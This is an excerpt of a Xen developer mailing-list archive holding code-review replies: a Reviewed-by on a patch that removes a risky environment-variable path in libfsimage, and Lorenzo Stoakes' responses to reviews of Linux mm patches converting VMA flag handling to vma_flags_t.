 =?utf-8?B?QjdvNWtGbHJZZUt2Z3NKRWxNL0duTnNSc1h0ckkvajFsV2NWTUJad2graGNW?=
 =?utf-8?B?NHMybXBPMlc3dHllalBGR2tnQmJmK0ptU1QwRnBLMTFKVWN5ZnF2aDBRMnBG?=
 =?utf-8?B?LzN3Tk1SZDlsREhkWVUvbUZBYlByS1kwRUkvMDl3cG83Z3M3QUR2REZYaTRO?=
 =?utf-8?B?c2tIbGFlTWdrTStmTVFrWVFFQnRxNVcwNCtCOWZIUFJ6WW8zYVVCdz09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 4f1e905f-128a-4f97-f245-08ded8502d2f
X-MS-Exchange-CrossTenant-AuthSource: CH7PR03MB7860.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 02 Jul 2026 15:40:00.3295
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: qwXtM/J1fafZHNTJGn7P1eSZOCRqcEFNBIGs7l3Klvxl9QEW8rAkGzgYXFNQWWZozS+x9i6wv0l10zsSJ7j2FQ==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CO1PR03MB5683
X-purgate-ID: tlsNG-ebf023/1783006804-AF32F1CC-61F768F0/0/0
X-purgate-type: clean
X-purgate-size: 570

On Thu, Jul 02, 2026 at 04:03:01PM +0100, Andrew Cooper wrote:
> This was reported to the security team, demonstrating that code execution
> could be achieved, but without a demonstration of a priviliege boundary being
> bypassed.
> 
> Still, it's a high risk path with no obvious evidence of having been used even
> for debugging, so remove the environment variable and use the build time
> $(libdir)/xenfsimage path only.
> 
> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>

Reviewed-by: Roger Pau MonnÃ© <roger.pau@citrix.com>

Thanks, Roger.


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 15:40:42 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 15:40:42 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1352092.1609015 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfJWs-0005uS-GS; Thu, 02 Jul 2026 15:40:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1352092.1609015; Thu, 02 Jul 2026 15:40:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfJWs-0005uL-CB; Thu, 02 Jul 2026 15:40:42 +0000
Received: by outflank-mailman (input) for mailman id 1352092;
 Thu, 02 Jul 2026 15:40:41 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ljs@kernel.org>) id 1wfJWr-0005uB-Fz
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 15:40:41 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfJWq-006HWF-T4
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 17:40:40 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ljs@kernel.org>)
 id 6a46866d-2eae-0a2a0a5409dd-0a2a45068534-10
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 17:40:40 +0200
Received: from [172.105.4.254] (helo=tor.source.kernel.org)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ljs@kernel.org>)
 id 6a468677-08de-0a2a45060019-ac6904fed628-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 17:40:40 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by tor.source.kernel.org (Postfix) with ESMTP id C7EA7601CA;
 Thu,  2 Jul 2026 15:40:38 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id CE8E41F00A3E;
 Thu,  2 Jul 2026 15:40:21 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:From:To:Cc:Subject:References:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783006838;
	bh=gNLYS8EYE6bJ5KaXF7DR9fRu4urDF+a7laqqF8q0hcA=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To;
	b=Z8vOAtQOT+iGTiy4xQ3GfxWy9CpR6iieY1qxm1fyBJSvxEFV2aEwGeTLwIZE4UbYF
	 sH6QvDHKQJHBXcc/JYlecYNDNZBJEw63vn2taYjOLxg3iNlePJRLcm76SDX3qcqqpf
	 OAzUHT+NRGQHyZOOfos5EJuVfaKEWfkdr4crDOBp2KFX/hKeIetGWLc1I64/oz6RHQ
	 NC8RA6ivq/IEW4DV1d+3Z0k229cWnviqo6Svky+UHUgnyeaFy3m0xyIovRQ1UfVX8n
	 wqqP9ts5FpBy46j7HS+G+te0/D/3BLeS388iQo+wLiLJCSDRdl7jDwGFy3vdpkllGJ
	 NUUDfmqseIbQg==
Date: Thu, 2 Jul 2026 16:40:15 +0100
From: Lorenzo Stoakes <ljs@kernel.org>
To: Lance Yang <lance.yang@linux.dev>
Cc: akpm@linux-foundation.org, tsbogend@alpha.franken.de, 
	maddy@linux.ibm.com, mpe@ellerman.id.au, maarten.lankhorst@linux.intel.com, 
	mripard@kernel.org, tzimmermann@suse.de, airlied@gmail.com, simona@ffwll.ch, 
	l.stach@pengutronix.de, inki.dae@samsung.com, sw0312.kim@samsung.com, 
	kyungmin.park@samsung.com, krzk@kernel.org, peter.griffin@linaro.org, 
	jani.nikula@linux.intel.com, joonas.lahtinen@linux.intel.com, rodrigo.vivi@intel.com, 
	tursulin@ursulin.net, robin.clark@oss.qualcomm.com, lumag@kernel.org, lyude@redhat.com, 
	dakr@kernel.org, tomi.valkeinen@ideasonboard.com, hjc@rock-chips.com, 
	heiko@sntech.de, andy.yan@rock-chips.com, thierry.reding@kernel.org, 
	mperttunen@nvidia.com, jonathanh@nvidia.com, kraxel@redhat.com, 
	dmitry.osipenko@collabora.com, zack.rusin@broadcom.com, matthew.brost@intel.com, 
	thomas.hellstrom@linux.intel.com, oleksandr_andrushchenko@epam.com, deller@gmx.de, bcrl@kvack.org, 
	viro@zeniv.linux.org.uk, brauner@kernel.org, muchun.song@linux.dev, osalvador@suse.de, 
	david@kernel.org, ziy@nvidia.com, baolin.wang@linux.alibaba.com, 
	liam@infradead.org, npache@redhat.com, ryan.roberts@arm.com, dev.jain@arm.com, 
	baohua@kernel.org, hughd@google.com, vbabka@kernel.org, rppt@kernel.org, 
	surenb@google.com, mhocko@suse.com, jannh@google.com, pfalcato@suse.de, 
	kees@kernel.org, perex@perex.cz, tiwai@suse.com, linux-mips@vger.kernel.org, 
	linux-kernel@vger.kernel.org, linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org, 
	etnaviv@lists.freedesktop.org, linux-arm-kernel@lists.infradead.org, 
	linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org, linux-arm-msm@vger.kernel.org, 
	freedreno@lists.freedesktop.org, nouveau@lists.freedesktop.org, 
	linux-rockchip@lists.infradead.org, linux-tegra@vger.kernel.org, virtualization@lists.linux.dev, 
	intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org, linux-fbdev@vger.kernel.org, 
	linux-aio@kvack.org, linux-fsdevel@vger.kernel.org, linux-mm@kvack.org, 
	linux-sound@vger.kernel.org
Subject: Re: [PATCH 08/13] mm: introduce vma_get_page_prot() and use it
Message-ID: <akaGOiLz-3Zx6kDs@lucifer>
References: <3bb8bdc4788230c33102166d56cbc5abfad9d4cb.1782760670.git.ljs@kernel.org>
 <20260702123845.95316-1-lance.yang@linux.dev>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20260702123845.95316-1-lance.yang@linux.dev>
X-purgate-ID: tlsNG-16d1c6/1783006840-C473068D-0B2CF8FD/0/0
X-purgate-type: clean
X-purgate-size: 1835

On Thu, Jul 02, 2026 at 08:38:45PM +0800, Lance Yang wrote:
>
> On Mon, Jun 29, 2026 at 08:25:31PM +0100, Lorenzo Stoakes wrote:
> >There's a large number of vm_get_page_prot(vma->vm_flags) invocations. Make
> >life easier by introducing vma_get_page_prot() parameterised by the VMA.
> >
> >This also makes converting vm_get_page_prot() to vma_flags_t easier.
> >
> >Also update the userland VMA tests to reflect the change.
> >
> >No functional change intended.
> >
> >Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
> >---
> > drivers/gpu/drm/drm_gem.c                   |  2 +-
> > drivers/gpu/drm/drm_gem_dma_helper.c        |  2 +-
> > drivers/gpu/drm/drm_gem_shmem_helper.c      |  2 +-
> > drivers/gpu/drm/etnaviv/etnaviv_gem.c       |  2 +-
> > drivers/gpu/drm/exynos/exynos_drm_gem.c     |  6 +++---
> > drivers/gpu/drm/i915/gem/i915_gem_mman.c    | 12 ++++++------
> > drivers/gpu/drm/msm/msm_gem.c               |  2 +-
> > drivers/gpu/drm/nouveau/nouveau_gem.c       |  2 +-
> > drivers/gpu/drm/omapdrm/omap_fbdev.c        |  2 +-
> > drivers/gpu/drm/omapdrm/omap_gem.c          |  6 +++---
> > drivers/gpu/drm/rockchip/rockchip_drm_gem.c |  2 +-
> > drivers/gpu/drm/tegra/gem.c                 |  2 +-
> > drivers/gpu/drm/virtio/virtgpu_vram.c       |  2 +-
> > drivers/gpu/drm/vmwgfx/vmwgfx_page_dirty.c  |  2 +-
> > drivers/gpu/drm/xe/xe_device.c              |  2 +-
> > drivers/gpu/drm/xe/xe_mmio_gem.c            |  2 +-
> > drivers/gpu/drm/xen/xen_drm_front_gem.c     |  2 +-
> > drivers/video/fbdev/core/fb_io_fops.c       |  2 +-
>
> One missed?
>
> drivers/gpu/drm/panthor/panthor_gem.c still has:
>
> 	vma->vm_page_prot = vm_get_page_prot(vma->vm_flags);
>
> Can use vma_get_page_prot(vma) too.

Oops! Will respin and update. Good spot!

>
> [...]

Thanks, Lorenzo


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 15:46:38 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 15:46:38 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1352104.1609023 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfJcW-0006mo-2k; Thu, 02 Jul 2026 15:46:32 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1352104.1609023; Thu, 02 Jul 2026 15:46:32 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfJcV-0006mh-VV; Thu, 02 Jul 2026 15:46:31 +0000
Received: by outflank-mailman (input) for mailman id 1352104;
 Thu, 02 Jul 2026 15:46:30 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ljs@kernel.org>) id 1wfJcU-0006mb-LN
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 15:46:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfJcU-00EUhV-2M
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 17:46:30 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ljs@kernel.org>)
 id 6a4687c2-bab6-0a2a0a5309dd-0a2a4506ec10-28
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 17:46:29 +0200
Received: from [172.105.4.254] (helo=tor.source.kernel.org)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ljs@kernel.org>)
 id 6a4687d4-08de-0a2a45060019-ac6904feedd0-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 17:46:29 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by tor.source.kernel.org (Postfix) with ESMTP id 2EBA4601EE;
 Thu,  2 Jul 2026 15:46:28 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 90EC61F000E9;
 Thu,  2 Jul 2026 15:46:11 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:From:To:Cc:Subject:References:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783007187;
	bh=jvE9wSqWBUCbGMsJG9svgBUezevNvrm1MrcHHSCChso=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To;
	b=Mynx6GD6LkebsGmUnF9MjOYGoc5t/kjVRBAa3y4hDMiI7/vl1tQdkpNYaMYBglDKt
	 PpjOhV7WkyGWbA6148JfY40EHSUewPFem4EcHLSNtrDL52P+m6uRZFhhXV+p8drDP5
	 krlXhtnXXcRAzWJ2KFYq3Hh8rhTgMNWOvfDO5ubcScHxjko5fhA5/oYXfBSBTm3FYZ
	 q91+d//PbttUXOxvDyYYUNz2FFsT7LJ6pIAF99pcS/rpWlpmF6qsZCGqK6q0R7Cu6u
	 A7jMMvK5AtByO3p0pYtd9gulxJxBI42o3AQ7j7VXEvArqPbpGQYUH4EuymRAwVZamK
	 6IrFtw9w61Ysg==
Date: Thu, 2 Jul 2026 16:46:04 +0100
From: Lorenzo Stoakes <ljs@kernel.org>
To: Lance Yang <lance.yang@linux.dev>
Cc: akpm@linux-foundation.org, tsbogend@alpha.franken.de, 
	maddy@linux.ibm.com, mpe@ellerman.id.au, maarten.lankhorst@linux.intel.com, 
	mripard@kernel.org, tzimmermann@suse.de, airlied@gmail.com, simona@ffwll.ch, 
	l.stach@pengutronix.de, inki.dae@samsung.com, sw0312.kim@samsung.com, 
	kyungmin.park@samsung.com, krzk@kernel.org, peter.griffin@linaro.org, 
	jani.nikula@linux.intel.com, joonas.lahtinen@linux.intel.com, rodrigo.vivi@intel.com, 
	tursulin@ursulin.net, robin.clark@oss.qualcomm.com, lumag@kernel.org, lyude@redhat.com, 
	dakr@kernel.org, tomi.valkeinen@ideasonboard.com, hjc@rock-chips.com, 
	heiko@sntech.de, andy.yan@rock-chips.com, thierry.reding@kernel.org, 
	mperttunen@nvidia.com, jonathanh@nvidia.com, kraxel@redhat.com, 
	dmitry.osipenko@collabora.com, zack.rusin@broadcom.com, matthew.brost@intel.com, 
	thomas.hellstrom@linux.intel.com, oleksandr_andrushchenko@epam.com, deller@gmx.de, bcrl@kvack.org, 
	viro@zeniv.linux.org.uk, brauner@kernel.org, muchun.song@linux.dev, osalvador@suse.de, 
	david@kernel.org, ziy@nvidia.com, baolin.wang@linux.alibaba.com, 
	liam@infradead.org, npache@redhat.com, ryan.roberts@arm.com, dev.jain@arm.com, 
	baohua@kernel.org, hughd@google.com, vbabka@kernel.org, rppt@kernel.org, 
	surenb@google.com, mhocko@suse.com, jannh@google.com, pfalcato@suse.de, 
	kees@kernel.org, perex@perex.cz, tiwai@suse.com, linux-mips@vger.kernel.org, 
	linux-kernel@vger.kernel.org, linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org, 
	etnaviv@lists.freedesktop.org, linux-arm-kernel@lists.infradead.org, 
	linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org, linux-arm-msm@vger.kernel.org, 
	freedreno@lists.freedesktop.org, nouveau@lists.freedesktop.org, 
	linux-rockchip@lists.infradead.org, linux-tegra@vger.kernel.org, virtualization@lists.linux.dev, 
	intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org, linux-fbdev@vger.kernel.org, 
	linux-aio@kvack.org, linux-fsdevel@vger.kernel.org, linux-mm@kvack.org, 
	linux-sound@vger.kernel.org
Subject: Re: [PATCH 10/13] mm/vma: convert miscellaneous uses of VMA flags in
 core mm
Message-ID: <akaGxiTaJreEQn8T@lucifer>
References: <1e7d834c887b6a65627d730addcff13d458c6268.1782760670.git.ljs@kernel.org>
 <20260702131233.59026-1-lance.yang@linux.dev>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20260702131233.59026-1-lance.yang@linux.dev>
X-purgate-ID: tlsNG-16d1c6/1783007189-C4D3568D-248080DD/0/0
X-purgate-type: clean
X-purgate-size: 2543

On Thu, Jul 02, 2026 at 09:12:33PM +0800, Lance Yang wrote:
>
> On Mon, Jun 29, 2026 at 08:25:33PM +0100, Lorenzo Stoakes wrote:
> >Update various uses of legacy flags in vma.c and mmap.c to the new
> >vma_flags_t type, updating comments alongside them to be consistent.
> >
> >Also update __install_special_mapping() to rearrange things slightly to
> >accommodate the changes.
> >
> >Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
> >---
> [...]
> >diff --git a/mm/vma.c b/mm/vma.c
> >index b81c05e67a61..ab2ef0f04420 100644
> >--- a/mm/vma.c
> >+++ b/mm/vma.c
> >@@ -3417,23 +3417,27 @@ struct vm_area_struct *__install_special_mapping(
> > 	vm_flags_t vm_flags, void *priv,
> > 	const struct vm_operations_struct *ops)
> > {
> >-	int ret;
> >+	vma_flags_t vma_flags = legacy_to_vma_flags(vm_flags);
> > 	struct vm_area_struct *vma;
> >+	int ret;
> >
> > 	vma = vm_area_alloc(mm);
> >-	if (unlikely(vma == NULL))
> >+	if (unlikely(!vma))
> > 		return ERR_PTR(-ENOMEM);
> >
> >-	vma_set_range(vma, addr, addr + len, 0);
> >-	vm_flags |= vma_flags_to_legacy(mm->def_vma_flags) | VM_DONTEXPAND;
> >+	vma_flags_set_mask(&vma_flags, mm->def_vma_flags);
> >+	vma_flags_set(&vma_flags, VMA_DONTEXPAND_BIT);
> > 	if (pgtable_supports_soft_dirty())
> >-		vm_flags |= VM_SOFTDIRTY;
> >-	vm_flags_init(vma, vm_flags & ~VM_LOCKED_MASK);
> >+		vma_flags_set(&vma_flags, VMA_SOFTDIRTY_BIT);
> >+	vma_flags_clear_mask(&vma_flags, VMA_LOCKED_MASK);
> >+	vma->flags = vma_flags;
>
> Maybe worth a vma_flags_init() helper here to mirror vm_flags_init()?
> With this open-coded, we lose the soft-dirty WARN_ON_ONCE sanity check.
>
> Might be nicer to keep that check in one place ;)

I really hate all the VMA flag accessors, they conflate things horribly - we
should be explicitly taking VMA write locks when we need to (and often killable
ones actually) not assuming that a VMA flags accessor does (they should at most
assert).

This case is even more terribly egregious - you are setting flags at an
arbitrary time, why are we asserting something about softdirty?

You may update them as part of initialisation, maybe not. It's far from a
guarantee and feels like a lazy place to put it.

BUT obviously it's an oversight not to open code that here, so I'll update the
patch to do that!

I want VMA flags to be a clean stateless thing, other than the flags
themselves. Implicit, unrelated, asserts or lock acquisitions in general should
be done separately IMO.

>
> [...]

Thanks, Lorenzo


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 15:47:43 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 15:47:43 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1352113.1609033 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfJde-0007Nb-By; Thu, 02 Jul 2026 15:47:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1352113.1609033; Thu, 02 Jul 2026 15:47:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfJde-0007NT-7o; Thu, 02 Jul 2026 15:47:42 +0000
Received: by outflank-mailman (input) for mailman id 1352113;
 Thu, 02 Jul 2026 15:47:40 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ljs@kernel.org>) id 1wfJdc-0007M2-Ns
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 15:47:40 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfJdb-0087ca-NB
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 17:47:39 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ljs@kernel.org>)
 id 6a46880a-e002-0a2a0a5209dd-0a2a450ca58c-32
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 17:47:39 +0200
Received: from [172.105.4.254] (helo=tor.source.kernel.org)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ljs@kernel.org>)
 id 6a46881a-f399-0a2a450c0019-ac6904fea700-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 17:47:39 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by tor.source.kernel.org (Postfix) with ESMTP id E29F6601F1;
 Thu,  2 Jul 2026 15:47:37 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 504D91F00A3E;
 Thu,  2 Jul 2026 15:47:21 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:From:To:Cc:Subject:References:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783007257;
	bh=Po4UWa+Txwx6nSBMW1aPQiZMcfNfQH1HH88CC93hgvE=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To;
	b=TzKC7lqe9Irn8JWqPCnRnBZrIjo+wjSEuABLaM62PvcVIf4DaJMLiJvSaLOlIhJOf
	 znTjZNuNsA3irPkrJRqgdqBSalvaquhCKCvJXbcnp48ft4f4usQWudMjc5HdiilEg8
	 aXu2StIvmQVSGOVmy/Z45hqYBBWUQ4dmbbAuXk0zKTG9Nk6i9FrPim4oLQSVwaxjeJ
	 SDNmxdCjFnKqxvBlFG1TSv8opFwMO6hCg3J9TODlwY2GGXnrD8Ppex9n5gZkrvDNyw
	 HAH74jjJFvvUXueVEU77M3F6be8/OSAHgO1cGcNXrmLyLcrgWJzjocoh6IYJOxKTNs
	 hiEtCFwm59HOw==
Date: Thu, 2 Jul 2026 16:47:14 +0100
From: Lorenzo Stoakes <ljs@kernel.org>
To: Lance Yang <lance.yang@linux.dev>
Cc: akpm@linux-foundation.org, tsbogend@alpha.franken.de, 
	maddy@linux.ibm.com, mpe@ellerman.id.au, maarten.lankhorst@linux.intel.com, 
	mripard@kernel.org, tzimmermann@suse.de, airlied@gmail.com, simona@ffwll.ch, 
	l.stach@pengutronix.de, inki.dae@samsung.com, sw0312.kim@samsung.com, 
	kyungmin.park@samsung.com, krzk@kernel.org, peter.griffin@linaro.org, 
	jani.nikula@linux.intel.com, joonas.lahtinen@linux.intel.com, rodrigo.vivi@intel.com, 
	tursulin@ursulin.net, robin.clark@oss.qualcomm.com, lumag@kernel.org, lyude@redhat.com, 
	dakr@kernel.org, tomi.valkeinen@ideasonboard.com, hjc@rock-chips.com, 
	heiko@sntech.de, andy.yan@rock-chips.com, thierry.reding@kernel.org, 
	mperttunen@nvidia.com, jonathanh@nvidia.com, kraxel@redhat.com, 
	dmitry.osipenko@collabora.com, zack.rusin@broadcom.com, matthew.brost@intel.com, 
	thomas.hellstrom@linux.intel.com, oleksandr_andrushchenko@epam.com, deller@gmx.de, bcrl@kvack.org, 
	viro@zeniv.linux.org.uk, brauner@kernel.org, muchun.song@linux.dev, osalvador@suse.de, 
	david@kernel.org, ziy@nvidia.com, baolin.wang@linux.alibaba.com, 
	liam@infradead.org, npache@redhat.com, ryan.roberts@arm.com, dev.jain@arm.com, 
	baohua@kernel.org, hughd@google.com, vbabka@kernel.org, rppt@kernel.org, 
	surenb@google.com, mhocko@suse.com, jannh@google.com, pfalcato@suse.de, 
	kees@kernel.org, perex@perex.cz, tiwai@suse.com, linux-mips@vger.kernel.org, 
	linux-kernel@vger.kernel.org, linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org, 
	etnaviv@lists.freedesktop.org, linux-arm-kernel@lists.infradead.org, 
	linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org, linux-arm-msm@vger.kernel.org, 
	freedreno@lists.freedesktop.org, nouveau@lists.freedesktop.org, 
	linux-rockchip@lists.infradead.org, linux-tegra@vger.kernel.org, virtualization@lists.linux.dev, 
	intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org, linux-fbdev@vger.kernel.org, 
	linux-aio@kvack.org, linux-fsdevel@vger.kernel.org, linux-mm@kvack.org, 
	linux-sound@vger.kernel.org
Subject: Re: [PATCH 11/13] mm/mlock: convert mlock code to use vma_flags_t
Message-ID: <akaH31jAOuMtthKF@lucifer>
References: <2db16db81538355ca65f778c246d2381c673cad4.1782760670.git.ljs@kernel.org>
 <20260702132107.73727-1-lance.yang@linux.dev>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20260702132107.73727-1-lance.yang@linux.dev>
X-purgate-ID: tlsNG-d25034/1783007259-A88A7D51-D963730D/0/0
X-purgate-type: clean
X-purgate-size: 1969

On Thu, Jul 02, 2026 at 09:21:07PM +0800, Lance Yang wrote:
>
> On Mon, Jun 29, 2026 at 08:25:34PM +0100, Lorenzo Stoakes wrote:
> >Replace use of the legacy vm_flags_t flags with vma_flags_t values
> >throughout the mlock logic.
> >
> >Additionally update comments to reflect the changes to be consistent.
> >
> >No functional change intended.
> >
> >Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
> >---
>
> Nothing scary jumped out at me. Just one tiny nit below ;)
>
> [...]
> >@@ -466,24 +466,23 @@ static void mlock_vma_pages_range(struct vm_area_struct *vma,
> >  */
> > static int mlock_fixup(struct vma_iterator *vmi, struct vm_area_struct *vma,
> > 	       struct vm_area_struct **prev, unsigned long start,
> >-	       unsigned long end, vm_flags_t newflags)
> >+	       unsigned long end, vma_flags_t *new_vma_flags)
> > {
> >-	vma_flags_t new_vma_flags = legacy_to_vma_flags(newflags);
> > 	const vma_flags_t old_vma_flags = vma->flags;
> > 	struct mm_struct *mm = vma->vm_mm;
> > 	int nr_pages;
> > 	int ret = 0;
> >
> >-	if (vma_flags_same_pair(&old_vma_flags, &new_vma_flags) ||
> >+	if (vma_flags_same_pair(&old_vma_flags, new_vma_flags) ||
> > 	    vma_is_secretmem(vma) || !vma_supports_mlock(vma)) {
> > 		/*
> >-		 * Don't set VM_LOCKED or VM_LOCKONFAULT and don't count.
> >+		 * Don't set VMA_LOCKED_BIT or VM_LOCKONFAULT and don't count.
>
> s/VM_LOCKONFAULT/VMA_LOCKONFAULT_BIT/

Ah yeah oops, will fix and respin! Good spot [and claude missed it ugh] :)

>
> Otherwise LGTM. Feel free to add:
>
> Reviewed-by: Lance Yang <lance.yang@linux.dev>
>
